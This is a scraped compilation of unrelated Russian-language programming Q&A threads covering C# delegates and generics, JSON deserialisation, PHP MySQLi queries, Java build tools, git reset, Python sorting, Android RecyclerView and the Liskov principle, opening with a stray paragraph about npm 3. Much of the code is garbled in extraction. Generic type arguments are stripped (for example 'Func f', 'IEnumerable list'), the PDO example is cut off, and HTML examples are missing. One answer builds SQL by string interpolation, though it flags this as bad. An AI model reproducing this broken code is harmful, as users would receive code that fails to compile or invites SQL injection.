В июне прошлого года вышла 3-я версия npm.
Одним из её ключевых нововведений является плоская структура каталогов - зависимости практически всех пакетов теперь устанавливаются в корень папки node_modules. Внутрь же папок самих пакетов, они попадают только при наличии конфликтов.
Данное нововведение прежде всего резко сокращает дублирование, снижая затраты ресурсов на хранение и исполнение кода нескольких одинаковых пакетов внутри проекта.

Зачем нужен встроенный делегат Func?

При решении очередной проблемы опять сталкнулся со встроенным делегатом Func. Никак не могу понять его предназначение, как он работает и как устроен. Может кто-то на каком-то простом примере объяснить что это, для чего используется, как это работает и как этим пользоваться?


Ответ

Допустим мы имеем метод, который рисует графики различных функций, для простоты - алгебраических, вида y=f(x). Нашему методу все равно какую именно функцию данного вида рисовать, главное чтобы вид функции совпадал с заданным. тогда мы можем определить наш метод следующим образом:
public void DrawFunc(Func f) { for(double x = 0.0; x<1.0; x+=0.001) { double y = f(x); //и далее рисуем точки графика } }
Теперь для отрисовки графика нам нужно вызвать наш метод и передать ему подходящую функцию. Для Func< double, double> нам подойдет любая функция вида double FuncName(double ParamName), например Math.Sin. Вызов будет выглядеть так:
DrawFunc(Math.Sin);
Данный делегат, как и аналогичный ему Action используется в основном для быстрого объявления делегатов стандартного вида. Определено несколько отдельных делегатов вида Func< T1,...,T16,TResult>, и Action< T1,...,T16> которые могут принимать до 16-ти параметров (.NET 4+, до 4-х для .NET 3.5), типы которых указываются при объявлении. Кроме этого для Func необходимо указать тип возвращаемого значения TResult, у Action возвращаемое значение всегда void. Больше ничем от обычных делегатов они не отличаются.
тут уже обсуждалась очень похожая тема и есть еще немного информации

Десериализация многих разных JSON на C#

Есть около сотни (в будущем больше) JSON. Каждый JSON имеет свою структуру. Необходимо их все десериализовать. Пытаюсь использовать стандартный класс DataContractJsonSerializer, пользуюсь этой схемой.
При создании экземпляра класса нужно передавать ему тип сериализуемых или десериализуемых экземпляров
DataContractJsonSerializer ser = new DataContractJsonSerializer(typeof(Person));
Как я уже сказал, у меня много разных типов, но метод, осуществляющий десериализацию, один. У меня есть строковые параметры с именами классов, описывающих структуру JSON, например: "Person", "Address" и прочее.
Как их подставить в конструктор DataContractJsonSerializer так, чтобы не писать сотню кейсов? Возможно ли это стандартными методами?
Пробовал это, но не работает.
Как вообще такие задачи решаются в промышленной среде?
В интернете полно примеров с одним жестко заданным JSON, но про много разных нигде не нашел.


Ответ

Если вам изначально известно, какой объект представлен в json'e, то вам достаточно воспользоваться Generic-методом для дессериализации:
var myNewObject = JsonConvert.DeserializeObject(json);

Переменная PHP внутри запроса MySQLi [дубликат]

На данный вопрос уже ответили: Как вставить значение переменной внутрь строки? 4 ответа Проблема заключается в выводе переменной $set_name внутри MySQLi запроса не в том виде, как того хотелось бы.
$set_name в данном примере равно 'name = "John"', но в MySQL запросе, вероятно, выводится в другом виде и запрос, соответственно, не выполняется. Если же переменную $set_name заменить на её значение (name = "John"), то запрос выполняется...
$name = 'John'; if(empty($name)) { $set_name = ''; } else { $set_name = ' name = "'.$name.'"'; } $update = $mysqli->query('UPDATE table SET $set_name WHERE id = 1');


Ответ

вам нужно использовать двойные кавычки, вот так:
$update = $mysqli->query("UPDATE table SET $set_name WHERE id = 1");
но так делать плохо, посмотрите например в сторону PDO
prepare('SELECT name, colour, calories FROM fruit WHERE calories < :calories AND colour = :colour'); $sth->bindParam(':calories', $calories, PDO::PARAM_INT); $sth->bindParam(':colour', $colour, PDO::PARAM_STR, 12); $sth->execute(); ?>

Зачем в .NET типы данных разделили на ссылочные и значимые?

Зачем в .NET типы данных разделили на ссылочные и значимые?


Ответ

Различие между ссылочными типами и типами-значениями на самом деле семантическое. Оно не в том, выделяется ли память в куче или нет (язык имеет право любой из объектов располагать в любой памяти, и делает это: например, типы-значения, попавшие в замыкание, будут «подняты» до кучи).
Различие состоит в семантике равенства и копирования
Давайте посмотрим на пример. Вот у вас есть число 5. Это число — одно и то же, вне зависимости от того, как вы его получили. Если вы увеличите 5 на 1, вы не измените при этом само число 5, вы просто получите новое число. Когда вы копируете число в другую переменную, эта новая переменная живёт своей жизнью, не зависящей от старого числа.
Теперь, пусть у вас есть объект, допустим, СписокПокупок. Этот объект ведёт себя совсем по-другому. Если вы создадите новый СписокПокупок, он будет отличаться от уже существующего: вы можете добавить товар в новый список, а в старом он при этом не появится. С другой стороны, когда вы копируете ссылку на список покупок в другую переменную, то вы продолжаете при это работать с тем же списком.
Иными словами: у объектов типа списка покупок есть индивидуальность. А у объектов типа числа такой индивидуальности нет, они ничем не отличаются друг от друга.
Так вот: объекты, которые ведут себя как число, и называются объектами-значениями. А объекты с индивидуальностью называются ссылочными объектами.
Все остальные технические подробности служат лишь для реализации этой самой различной семантики. Например, объекты-значения чаще всего располагаются в стеке потому, что их можно расположить там: ведь у них никому не интересен конкретный экземпляр, поэтому за пределы метода можно выдать копию. А значит, оригинал можно держать на стеке (так эффективнее).
Дополнительная литература: Eric Lippert. The Stack Is An Implementation Detail: Part 1, Part 2

Как выполнить инстанцирование объекта в generic-типе?

Создаю свой generic-абстрактный класс:
public abstract class MyAbstractGeneric where T : MyClass { protected T instance;
public T MyProp { get { if(instance == null) { instance = new T(); //компилятор не позволяет создавать объект таким образом } return instance; } } }
Как правильно инстанциировать объект в таком случае?


Ответ

Для указания, что параметр T должен иметь конструктор по умолчанию можно использовать ограничение new()
Тогда код уже не будет ругаться на new T()
Так же в .net присутствует возможность создания объектов с помощью класса Activator
Например, Activator.CreateInstance(Type type, params object[] args):
instanse = Activator.CreateInstance(typeof(T),parameters);

Обращение к объекту из другого класса

Есть 3 класса внутри одного пакета:
Осуществляет посылку запроса на авторизацию; Получает ответ; Работает с ответом.
Проблема в том, что не понимаю, как получить ссылку на объект, который создается в первом классе из 3-его.
Class1.java - Запрос авторизации UserData userData;
public void calcLogin(){ ht.call(SOAP_ACTION + methodname, envelope, header); SoapObject resultsString = (SoapObject)envelope.getResponse(); userData.setDataStore("ID", resultsString.getProperty(0).toString()) }
Я хочу получить результат выполнения действия в 3-ем классе.
class3.java
class UserData { static Map dataStore = new HashMap(); } public void setDataStore(String a1, String a2){ dataStore.put(a1,a2); }
Но я не вижу такого объекта. Получается, что его нет в памяти. Подскажите, куда копать и на что обратить внимание.


Ответ

Переменная не будет видна, если она объявлена внутри метода, так как на нее не существует жесткой ссылки. Иными словами, после выполнения метода переменная действительно стирается из памяти (ну, с учетом особенностей работы сборщика мусора).
Чтобы увидеть переменную, необязательно объявлять ее статичной, достаточно в самом начале класса, в блоке описания переменных, объявить ее как protected (видимость внутри пакета) или public (общая видимость).
Вроде того:
class Class1{ protected UserData ud1; protected static UserData ud2;
public void someMethod(){ UserData ud3; } }
Здесь переменная ud1 будет видна всем классам внутри пакета через экземпляр класса Class1 (например, new Class1().ud1) - и, соответственно, будет разная для каждого экземпляра класса.
Статичная переменная ud2 - это переменная, одинаковая для всех экземпляров класса. Будет доступна для всех классов внутри пакета через Class1.ud2 . Вряд ли это то, что вам нужно.
Ну а третья переменная ud3 отойдет сборщику мусора после выполнения метода.

Стандартный вывод чисел

Никак не могу понять,что значит:
"Вещественные числа выводите с 10 значимыми десятичными цифрами."
Имеется ввиду 10 знаков после запятой? То есть printf("%.10lf",a)


Ответ

Значащие цифры это кроме начальных нулей слева и до последней достоверной цифры. Фиксированное количество значащих цифр обеспечивают спецификатор g в альтернативной форме, т.е.
printf("%#.10lg",a);
и спецификатор e, но с на единицу меньшим параметром точности:
printf("%#.9le",a);
Простой g без # удаляет завершающие нули после запятой, которые стоит считать значащими.

Системы сборки для Java

Я не совсем понимаю как работает Intellij Idea и как она собирает мою программу. Можно краткий инструктаж в системы сборки и для чего они нужны? Ещё бы хорошо, если была бы инфа неустаревшая.


Ответ

TL;DR, к сожалению, не получилось.
Система сборки – это программное обеспечение, обеспечивающее автоматизацию сборки проекта. Основное отличие от IDE в том, что конфигурационный файл для системы сборки вы описываете в текстовом виде. Как следствие, быстрее можете начать проект, за счет того, что что все типовые задачи заключаются в копировании уже готовых сниппетов. Это гораздо быстрее, более гибко, мобильно, и, главное, читаемо, чем вводить то же самое через UI диалоги IDE.
Как в общих чертах работает ваша IDE
Когда вы создаете проект, то IDE определяет некоторые source каталоги, в которых находятся исходные файлы вашего проекта. При запуске проекта эти файлы будут скомпилированы и переместятся в целевую директорию. Все это, как правило, легко меняется. Можно назначить дополнительные source каталоги, в которых IDE будет осуществлять поиск исходных файлов или поменять целевую директорию; Если ваш проект использует библиотеки, то вы скачиваете их, складываете в определенную директорию, и подключаете их как зависимости вашего проекта. Таким образом IDE оповещается о том, что при запуске проекта, эти JAR-файлы будут находиться в classpath, она сама подставит их в ключ java –cp и начнет предоставлять типы и методы этих библиотек в автодополнении, и делать другие удобные вещи, для которых и предназначены IDE Проекту назначается соответствующая JDK, компилятор которой и будет компилировать классы; Могут назначаться некоторые дополнительные опции, такие как переменные окружения, аргументы JVM и прочее; IDE также может выполнять определенные задачи. Например, не только положить собранный проект в каталог сборки, или запустить его, но задеплоить его на удаленный сервер;
Настройки проекта IDE сохраняет в своем внутреннем формате, и складывает в виде файлов, иногда и дополнительных каталогов в директории проекта. Вся эта логика работает через UI диалоги, которые зачастую не очевидны и плохо описаны.
Очевидные недостатки, которые из этого следуют:
если в проекте несколько участников, они все должны использовать одну и ту же IDE и синхронизировать настройки при каждом изменении; тыкать мышкой в кучу разных диалогов долго и неудобно;
Кроме того, если проект большой, его нужно каким-то образом поделить на модули, а также объявить какой модуль от какого зависит. Машина разработчика - не единственное место где нужно запускать проект - нужны конфигурации проекта для запуска в разных средах: разработка и продакшн, как минимум. Перед сборкой проекта также необходимо запустить интеграционные и юнит- тесты (иногда очень много), чтобы убедиться в отсутствии багов.
Первым для автоматизации этих задач появился Ant. Это аналог make-файла, а по сути набор скриптов (которые называются tasks). Ant – это пример императивного стиля описания сборки проекта. Вы описываете некое действие, например, скомпилировать файлы в директории проекта:

.. потом , скопировать их рабочую директорию

Все примеры из вики
И вот из таких маленьких кирпичиков, поэтапно собираете весь сценарий сборки проекта. А точнее, несколько сценариев для разных целей. Написав единожды хороший универсальный сценарий, можно копировать его в последующие проекты.
Удобно в Ant то, что вы имеете полный и наглядный контроль над сборкой проекта, а неудобно что вы описываете огромное количество очевидных задач, и по прежнему управляете зависимостями проекта вручную (существует возможность подключить Ivy для управления зависимостями).
Если вы хотите именно пошагового понимания, что делает IDE за ширмой - соберите проект с помощью Ant

Правда жизни состоит в том, что большие проекты используют большое число библиотек, причем библиотека A, от которой зависит ваш проект, может в свою очередь зависеть еще от десяти других, и из этих десяти, половина будет пересекаться с другими зависимостями, от которых зависят ваши библиотеки, включенные в ваш проект :)
На смену Ant пришел Maven, который не такой гибкий, но значительно сокращает объем рутинной работы. Основные особенности:
Конфигурация Maven - это один файл pom.xml; Из коробки поддерживаются различные типы сборки: JAR, WAR, EAR Введена стандартная структура каталогов для проекта. Это сделано для того, чтобы по умолчанию вам не нужно было объяснять системе сборки, где лежат исходные файлы, ресурсы и куда их нужно переместить после компиляции; Цикл сборки разбит на phases (фазы). Каждая фаза включает в себя определенный стандартный сценарий, который называется goal (цель) . Упрощенно, вы указываете до какой фазы нужно выполнить проект (например, только скомпилировать), и выполняется набор сценариев связанных указанной и предыдущими фазами build lifecycle. Дополнительные сценарии реализуются через плагины к Maven Поддерживается модульная архитектура проекта. Можно объявлять зависимости между модулями; Поддерживаются профили. Это возможность, которая позволяется выполнять сборку проекта для различных окружений (машин) по-разному. Например, в профиле для разработки приложения определяются настройки и плагины, которых нет в профиле для продакшена, и наоборот. Т.е. можно, например, иметь разные настройки для подключения к базе данных для рабочей машины и сервера, где будет разворачиваться приложения. Или добавить профиль для развертывания среды окружения, который содержит только плагины и скрипты, которые подготовят ваше рабочее место при переезде с места на место. Название профиля передается как опция (ключ -P) к сборке проекта; Для централизованного хранения библиотек введен центральный репозиторий. Все популярные библиотеки публикуются и периодически обновляются в центральном репозитории. Каждая библиотека уникально идентифицируется по параметрам: groupId, artifactId, version. Вам не нужно скачивать зависимости и хранить их где-то вместе с проектом, они объявляются декларативно в теге dependency и скачиваются автоматически при сборке проекта.
Maven выполняет автоматическое разрешение зависимостей (так называются библиотеки, от которых зависит ваше приложение). Таким образом, например, если библиотека A зависит от библиотеки C, и библиотека B зависит от библиотеки C, но эти C – разных версий, Maven автоматически включит в проект только последнюю версию C (иногда это минус, но все настаивается). Также просто, например, проверить не появились ли новые версии для библиотек, входящих в состав проекта:
mvn versions:display-dependency-updates
Поскольку зависимости выкачиваются автоматически, очень удобно делить проект между участниками команды. Предположите, как-бы вы управляли большим числом зависимостей вручную;
Maven поддерживает архетипы. Это предопределенная структура проекта (шаблон) для быстрого начала разработки приложения. При создании проекта вы можете указать архетип, и вот уже есть некая начальная заготовка. Естественно, можно создавать собственные.
Для Maven есть огромное число полезных плагинов. Основной недостаток, которым ему обычно пеняют, вытекает из его преимуществ. Декларативный стиль описания задач не позволяет так же просто “подшаманить” в определенных случаях, как это делает Ant. Но и это обычно решается через через различные плагины. Например, задачм Ant можно запускать из Maven через antrun-plugin
Нужно отметить, что когда вы работаете с Maven проектом в IDE, настройки извлекаются именно из Maven. Например, через compiler-plugin проекту указывается версия JDK
org.apache.maven.plugins maven-compiler-plugin 1.7 1.7
Все IDE на сегодняшний момент хорошо хорошо работают с Maven - можно использовать любую. UI диалог IDE для запуска Maven проекта - это обертка, при желании вы можете работать в ним из командной строки.
За Gradle не скажу, потому что игрался, но вплотную не использовал.
Резюме: если вы учитесь или делаете тестовый проект без зависимостей на час - IDE нормальный вариант - хотя сейчас все туториалы тоже пишутся под Maven или Gradle. Для остального - система сборки.

Обновление:
Как вам правильно указал @Arsenicum, проект можно собрать и без участия IDE и систем сборки. JDK (Java Development Kit), которое необходимо для разработки, как раз и состоит из виртуальной Java машины (JRE) - это среда исполнения или рантайм, и Development Tools - это инструменты среды разработки.
Development Tools - это набор, в основном, консольных утилит. Они находятся в директории $JAVA_HOME/bin. Полный список тут. Умение напрямую работать с утилитами из набора Basic Tools (особенно jar, java, javac, javadoc), несомненно поможет лучше ориентироваться в вопросах запуска и сборки Java приложений.

Скрытие ответов в тестах

Здравствуйте, имеются готовые текстовые документы с тестовыми заданиями. Их содержимое:
Тема 1: Стихийные бедствия. Автор: Булат Фаттахов 10. Таким женским именем звали ураган, сильно повредивший Новый Орлеан. Ответ: Катрина. 20. "Дождь лил четыре года, одиннадцать месяцев и два дня" именно там. Ответ: в Макондо. 30. В 1883 году было извержение вулкана именно на этом острове. Ответ: Кракатау (Остров назывался так же как и вулкан). 40. Армянские города Гюмри и Ванадзор, сильно пострадавшие во время землетрясения 1988 года, в советское время носили такие названия. Ответ: Ленинакан и Кировокан. 50. Крупнейшее за всю историю человечества это стихийное бедствие произошло в 1875 году в США, а не в Египте двумя тысячами годами ранее. Ответ: Нашествие саранчи.
Тема 2: Города России. Автор: Булат Фаттахов 10. Это крупнейший город России после Москвы. Ответ: Санкт-Петербург. 20. Москва крупнейший город России, а Тольятти тоже крупнейший город в России среди таких. Ответ: Не являющийся столицей региона. 30. Это - крупнейший город самого большого острова России. Ответ: Южно-Сахалинск. 40. Именно в этом городе происходит действие сериала "Счастливы вместе". Ответ: Екатеринбург. 50. А именно этот город является самым западным городом России. Ответ: Балтийск.
И так на протяжении всех файлов. я не хочу сразу видеть то, что содержится после «Ответ». Нужно, чтобы ответы изначально были скрыты, становясь видимыми только тогда, когда пользователь выполняет какое-то действие, например, нажимает на «Развернуть ответ».
Методы не имеют значения. Да, можно заключить ответы под спойлеры — в HTML, например, проще всего в тэг — Ответ:

Текст ответа
(что он не поддерживается IE и Firefox, ничего страшного) . Но как выполнить множественные замены (учитывая, что ответы могут быть в несколько строк), например, при помощи программы Sublime Text, поддерживающей регулярные выражения PCRE?
Ответ: 'Текст ответа' 20.

Ответ:
'Текст ответа'
20.

Ответ: 'Текст ответа'
Тема

Ответ:
'Текст ответа'

Тема
Спасибо.


Ответ

Если в конце ответа обязательно цифра следующего вопроса или пустая строка, за которые можно зацепиться, то в Sublime можно так:
Find What: ^Ответ: ((.|
)+?)
([0-9
]) Replace With: Ответ:

\1

\3 (где \1 и \3 означают содержимое первой и третьей пар скобок в регулярке)
(Немного пояснений: (.|
)+ — берём один или больше любых символов, даже перенос строки, а +? — включаем ленивый режим работы вместо жадного, чтобы регулярка не считала одним ответом всё с начала первого ответа до конца последнего)

Преобразование строки в список с сортировкой в лексикографическом порядке

Как преобразовать строку, состоящую из слов разделенных пробелами, в список, и отсортировать полученный список в лексикографическом порядке?
Дана строка из слов, разделенных пробелами:
s = 'abc a bCd bC AbC BC BCD bcd ABC'
преобразовываем ее в список, с разделителем "пробел":
a = s.split(' ')
получаем:
['abc', 'a', 'bCd', 'bC', 'AbC', 'BC', 'BCD', 'bcd', 'ABC']
если теперь сделать так:
a = a.sort() print (a)
мы не получим ничего, если так:
b = a.sort() print (a)
получим отсортированный список
['ABC', 'AbC', 'BC', 'BCD', 'a', 'abc', 'bC', 'bCd', 'bcd']
почему так? можно ли как-то совместить sort() и split() в одной строчке?


Ответ

Потому что a.sort() просто сортирует a (список "просто" становится отсортированным), и ничего не возвращает, а функции не возвращающие ничего в Python по факту возвращают None. Если сделать a = a.sort(), вы сначала отсортируете a, а потом запишите поверх него None
Нужно делать или так:
a = a.split(' ') a.sort() print(a)
Или так, если вам нужно одной строкой:
print(sorted(a.split(' '))
Разница в том, что метод list.sort() меняет исходный список, и ничего не возвращает, а функция sorted() не меняет исходный список, а возвращает его отсортированную копию.

Как запускать файл Python из любого места в Ubuntu?

Привет. Читаю книгу A Byte of Python. Там на 32й странице http://wombat.org.ua/AByteOfPython/AByteofPythonRussian-2.01.pdf создается своя команда helloworld и с помощью нее можно вызывать файл helloworld.py из любого места. К примеру просто py/helloworld.py у меня получается запускать, а вот как сделать свою команду не пойму. Знаю есть alies, но в книге как-то иначе делается. Кто подскажет как повторить пример? И чем отличается от alies?


Ответ

Как запускать файл Python из любого места в Ubuntu?
Также как и любую другую программу:
файл должен быть в одной из директорий, указанной в $PATH
$ echo $PATH файл должен быть исполняемым
$ chmod +x путь/к/helloworld.py файл должен содержать корректную shebang строку на самом верху, например:
#!/usr/bin/env python3
Если ~/bin директория находится в $PATH, то можно symlink создать:
$ ln -s /полный/путь/к/helloworld.py ~/bin/helloworld
После этого можно запускать helloworld из любой директории:
$ helloworld

В качестве альтернативы, чтобы автоматически создать исполняемый файл в пути из helloworld.py можно использовать setup.py файл:
from setuptools import setup
setup( name='helloworld', version='0.1', py_modules=['helloworld'], entry_points=''' [console_scripts] helloworld=helloworld:main ''', )
Код для запуска следует в main() функцию поместить.
Чтобы инсталлировать скрипт (из директории с setup.py):
$ python -m pip install .
Если вы не используете virtualenv, тогда можно добавить --user опцию, чтобы локально для текущего пользователя поставить:
$ python -m pip install . --user
нужно добавить ~/.local/bin в путь ($PATH переменная окружения) в этом случае.
После этого можно запускать helloworld из любой директории:
$ helloworld

А в чем отличие этого подхода от alies?
Проще сказать что общее: alias (псевдоним) также как и другие подходы позволяет, набирая строку, например: helloworld, запустить желаемую команду. alias — это функциональность оболочки (такой как bash). Как symlink так и явная установка с помощью setup.py, приведённые в ответе, не требуют оболочку, чтобы потом запускать команду, например, можно из Питона запустить rc = subprocess.call('helloworld')

Может ли нарушаться принцип подстановки Лисков при использовании интерфейса/абстрактного класса?

На размышления меня натолкнула вот эта статья: http://blog.byndyu.ru/2009/10/blog-post_29.html Приведу немного переработанный пример из нее:
public interface IList {
public void add(int e);
}
public class List implements IList{
@Override public void add(int e) { // добавляет элемент }
}
public class DoubleList implements IList{
@Override public void add(int e) { // добавляет элемент // добавляет элемент }
}
Метод add в классе DoubleList добавляет элемент дважды. В клиентском коде можно написать примерно так:
public void LSPTest(IList list){ int oldLen = list.getLength();
list.add(1);
int newLen = list.getLength();
if(newLen - oldLen == 1){ // делать что то полезное } }
Очевидно, что поведение программы будет разным, в зависимости от того, получит функция LSPTest объект класса List или DoubleList. Но разве это нарушает LSP? Ведь DoubleList наследует не класс List, а интерфейс IList. Интерфейс не может задавать никаких предусловий и постусловий (в данном случае точно не задает). И интерфейсы же для того и написаны, что бы иметь разные реализации, иногда имеющие совсем мало общего. Я всегда считал, что если бы, например, DoubleList был наследован от List, то выделение интерфейса и опускание классов на один уровень - это как раз решение проблемы при нарушении LSP. По-моему это называется факторизация. И к тому же, LSP говорит о том, что прогрмма не должна меняться, если вместо объекта базового класса подставить объект производного. Но как можно подставить что то вместо объекта базового класса, если базовый класс является абстрактным? Или тем более интерфейсом? Вместо него нельзя ничего подставить, потому что его просто нельзя создать.


Ответ

Интерфейс не может задавать никаких предусловий и постусловий
Формально вы правы. Объявление интерфейса само по себе не задает "материального" (назовем это так) контракта -- т.е. контракта, который может быть проверен на этапе компиляции или выполнения. Т.е. нет никаких средств, гарантирующих, что все классы, реализующие интерфейс, будут реализовывать его одинаково с т.з. LSP.
Хитрость заключается в том, что при использовании интерфейсов мы всегда говорим о "нематериальном" контракте. Он выражается в названии методов и в комментариях. Это такой неформальный уговор среди разработчиков. В случае с IList из .NET это выглядит так*:
// Adds an item to the list. The exact position in the list is // implementation-dependent, so while ArrayList may always insert // in the last available location, a SortedList most likely would not. // The return value is the position the new element was inserted in. int Add(Object value);
Как видно из комментария, если класс-наследник будет добавлять в список сразу два элемента, он нарушит два пункта из комментария: что добавлять должен один элемент и что метод возвращает позицию добавленного элемента (а что возвращать в случае двух элементов?).
В то же время, комментарии к методу ICollection.Add() ничего не говорят о том, что этот метод предполагает делать. И, как мы видим, это согласуется с тем, что, например, HashSet (реализующий ICollection) после двух вызовов метода Add() с одинаковыми аргументами будет содержать лишь один элемент.
Это тонкий лед, т.к., повторюсь, нет средств для обеспечения выполнения обозначенного контракта -- это лежит целиком на совести программиста. Более того, интерфейс может и не продоставлять никаких комментариев и о его контракте придется как-то догадываться -- из документации, интернета, от коллег.
Но тем не менее 99.9% разработчиков, увидев название интерфейса IList, будут ожидать, что метод Add() добавит в список один элемент. Если же вдруг этот метод будет добавлять два элемента, не добавлять ничего, или даже удалять, это очень удивит эти 99.9%. В этом, собственно, и заключается нарушение LSP.
Если вы пока не очень понимаете LSP, то забудьте на время про интерфейсы и посмотрите на примеры использования наследования классов. Например, на классическую проблему прямоугольника и квадрата

*желающим попудрить себе мозг читать ниже.
Метод IList.Add(), как мы уже видели, явно в комментарии обозначает свой контракт. А что насчет IList? Как видно, он наследуются от ICollection, а это значит, что на метод Add() не налагается ограничений. Т.о. класс DoubleList : IList формально уже не будет нарушать LSP. Но бьюсь об заклад, ваши коллеги не будут рады такой реализации :).

Как добавить в RecyclerView разные элемент

У меня есть массив карточке (CardView) которые я загружаю в RecyclerView.
Я хочу разделять эти карточка своим элементом, не пойму как это можно сделать.
К примеру:
RecyclerView Заголовок1, кнопка с действием CardView CardView CardView Заголовок2, кнопка с действием CardView CardView CardView Заголовок3, кнопка с действием CardView CardView CardView RecyclerView


Ответ

Вам надо по позиции элемента определять его тип и в зависимости от этого загружать определённую разметку и отображать её:
//метод, в коем вы должны в зависимости от позиции элемента возвращать //её тип в виде числа, кое потом используется в onCreateViewHolder для загрузки разметки //и в onBindViewHolder для наполнения её данными @Override public int getItemViewType(int position) { if (position == 0) { return 0; } else { return 1; } }
@Override public RecyclerView.ViewHolder onCreateViewHolder(ViewGroup parent, int viewType) { RecyclerView.ViewHolder vh; View itemLayoutView;
//загружаем разметку в зависимости от типа и возвращаем //нужный холдер switch (viewType) { case 0: itemLayoutView = LayoutInflater.from(parent.getContext()).inflate(R.layout.zero_type_layout, parent, false); vh = new HolderZeroType(itemLayoutView); break; case 1: itemLayoutView = LayoutInflater.from(parent.getContext()).inflate(R.layout.first_type_layout, parent, false); vh = new HolderFirstType(itemLayoutView); break; }
return vh; }
@Override public void onBindViewHolder(final RecyclerView.ViewHolder holder, final int position) { switch (this.getItemViewType(position)) { case 0: HolderZeroType zero = (HolderZeroType) holder; //наполняем данными разметку для нулевого типа break; case 1: HolderFirstType first = (HolderFirstType) holder; //наполняем данными разметку для нулевого типа break; } }
public static class HolderFirstType extends RecyclerView.ViewHolder { ...
public ViewHolderText(View v) { super(v); ... } }
public static class HolderZeroType extends RecyclerView.ViewHolder { ...
public ViewHolderText(View v) { super(v); ... } }

Как правильно передать аргументы в DialogFragment?

Мне нужно задать DialogFragment стиль, для этого я ему присвоил layout параметр. Идея такая, я могу вызывать этот DialogFragment из разных классов, передавая ему нужный мне layout. Так как в зависимости от вызывающего класса DialogFragment должен иметь соответствующий вид.
Я делаю это так, вот собственно класс DialogFragment
public class MyDialog extends DialogFragment { final String LOG_TAG = "MyDialog"; int layout;
// Здесь я принимаю входящие аргументы @Override public void onCreate(Bundle savedState) { super.onCreate(savedState); Bundle args = this.getArguments(); layout = args.getInt("layout"); }
public Dialog onCreateDialog(Bundle savedInstanceState) {
AlertDialog.Builder adb = new AlertDialog.Builder(getActivity()) .setView(layout) .setCancelable(true);
return adb.create(); }
public void dismissDialog(final MyDialog dialog, int daleyTime) { Handler handler = new Handler(); handler.postDelayed(new Runnable() { @Override public void run() { try { dialog.dismiss(); } catch (IllegalStateException e) { e.printStackTrace(); } } }, daleyTime); }
public void onDismiss(DialogInterface dialog) { super.onDismiss(dialog); Log.d(LOG_TAG, "MyDialog: onDismiss"); }
public void onCancel(DialogInterface dialog) { super.onCancel(dialog); Log.d(LOG_TAG, "MyDialog: onCancel"); } }
И вот как я передаю аргументы :
int daleyTimeFirst = 8 * 1000; MyDialog dialog = new MyDialog();
Bundle args = new Bundle(); args.putInt("key", R.layout.activity_dialog); dialog .setArguments(args);
dialog.show(getFragmentManager(), "dialog"); dialog.dismissDialog(dialog, daleyTimeFirst);
Когда я в классе MyDialog явно указываю какой layout использовать, то все работает, как только я передаю layout как аргумент, то ничего не происходит, в логе печатает только строчку
Log.d(LOG_TAG, "MyDialog: onDismiss");
Как проверить почему так происходит? Как это починить? Вроде все верно делаю.


Ответ

Достаете аргумент по ключу layout :
layout = args.getInt("layout");
Записываете аргумент по ключу key:
args.putInt("key", R.layout.activity_dialog);
Если вы записали key, то нужно и доставать key, а не layout

Как принудительно перезаписать локальные файлы во время git pull?

Как принудительно перезаписать локальные файлы во время git pull?
Имею следующий сценарий:
Один из коллег вносит изменения в шаблоны веб-сайта, на котором мы работаем. Он добавляет несколько изображений в соответствующую директорию (но забывает добавить их в систему контроля версий). Затем он отправляет мне эти изображения по почте. Я добавляю изображения в систему контроля версий и отправляю их на Github вместе с другими изменениями. Сотрудник не может обновить свою версию проекта из Github, потому что git не переписывает его локальные файлы.
Ошибка выглядит так:
error: Untracked working tree file 'public/images/icon.gif' would be overwritten by merge.
Как заставить Git перезаписать локальные файлы? Упомянутый сотрудник – дизайнер, и обычно все конфликты решаются мною вручную: я слежу, чтобы на сервере была самая последняя версия всех файлов, то есть мой коллега должен обновлять локальные файлы на своем компьютере.
Перевод вопроса «Force Git to overwrite local files on pull» @Jakub Troszok


Ответ

Важно: Изменения, сделанные вами локально, будут потеряны. Как с опцией --hard, так и без нее, будут утеряны любые локальные коммиты, не отправленные на сервер. [*]
Если у вам есть не отслеживаемые локальные файлы (например, загруженные пользователями), они не будут затронуты.

Скорее всего, правильным решением в данном случае будет:
git fetch --all git reset --hard origin/master
Или если вы находитесь в другой ветке:
git reset --hard origin/your_branch
Пояснение:
Команда git fetch загружает последнюю версию файлов из удаленного репозитория, не пытаясь что-либо объединить или синхронизировать (merge или rebase).
Затем git reset назначает главной веткой ту, которую вы только что обновили. Опция --hard изменяет все файлы в вашей рабочей ветке в соответствии с файлами в origin/master

[*]: Важно отметить, что поддерживать актуальность локальных изменений можно, если создать отдельную ветку от master перед тем, как выполнить git reset
git checkout master git branch new-branch-to-save-current-commits git fetch --all git reset --hard origin/master
После этого все старые версии будут храниться в new-branch-to-save-current-commits. Неподтвержденные изменения, тем не менее (даже индексированные), будут утеряны. Поэтому индексируйте и добавляйте в локальный репозиторий все, что вам может пригодиться.
Перевод ответа «Force Git to overwrite local files on pull» @RNA

Для чего нужен интерфейс icomparable? - простыми словами

Для чего нужен интерфейс icomparable? Я новичок и прошу объяснить на пальцах зачем он нужен и что он делает?


Ответ

tl;dr: Интерфейс IComparable нужен потому, что иначе нельзя использовать сравнение в функциях, которые работают с произвольным типом данных.

Смотрите.
Для того, чтобы упорядочить объекты, их нужно сравнивать. Если тип объектов известен заранее, то для сравнения проще всего использовать операторы >/=
Теперь вопрос, а как же сравнивать объекты, если тип их неизвестен? Например, если у нас есть набор элементов произвольного типа (например, generic-типа T)? Для того, чтобы выразить идею «объект X что-то умеет», в .NET используются интерфейсы
Но в интерфейсе нельзя выразить «объект умеет сравниваться с другим». Поэтому и был придуман интерфейс IComparable (а также его более современный собрат IComparable), который описывает операцию сравнения.
Пример: пускай вы хотите написать функцию Max, которая находит максимальный элемент из списка.
Простой пример — Max для чисел типа int. Как мы помним, для конкретных типов интерфейс не так уж и нужен. Пишем реализацию:
int Max(IEnumerable list) { int max = 0; bool first = true; foreach (var x in list) { if (first) { first = false; max = x; } else { if (x > max) max = x; } } if (first) throw new ArgumentException("список пустой!"); return max; }
Это было несложно. Теперь попробуем обобщить этот метод на произвольный тип T. Попробуем обобщить предыдущий метод:
T Max<Т>(IEnumerable list) { T max = default(T); bool first = true; foreach (var x in list) { if (first) { first = false; max = x; } else { if (x > max) max = x; } } if (first) throw new ArgumentException("список пустой!"); return max; }
Получаем ошибку: error CS0019: Operator '>' cannot be applied to operands of type 'T' and 'T'. Потому что компилятор не знает, как ему сравнивать произвольный тип T (и можно ли вообще). Вспоминаем про интерфейс IComparable, и пользуемся им.
Во-первых, мы потребуем, чтобы объекты типа T можно было сравнивать с другими объектами того же типа:
T Max(IEnumerable list) where T : IComparable
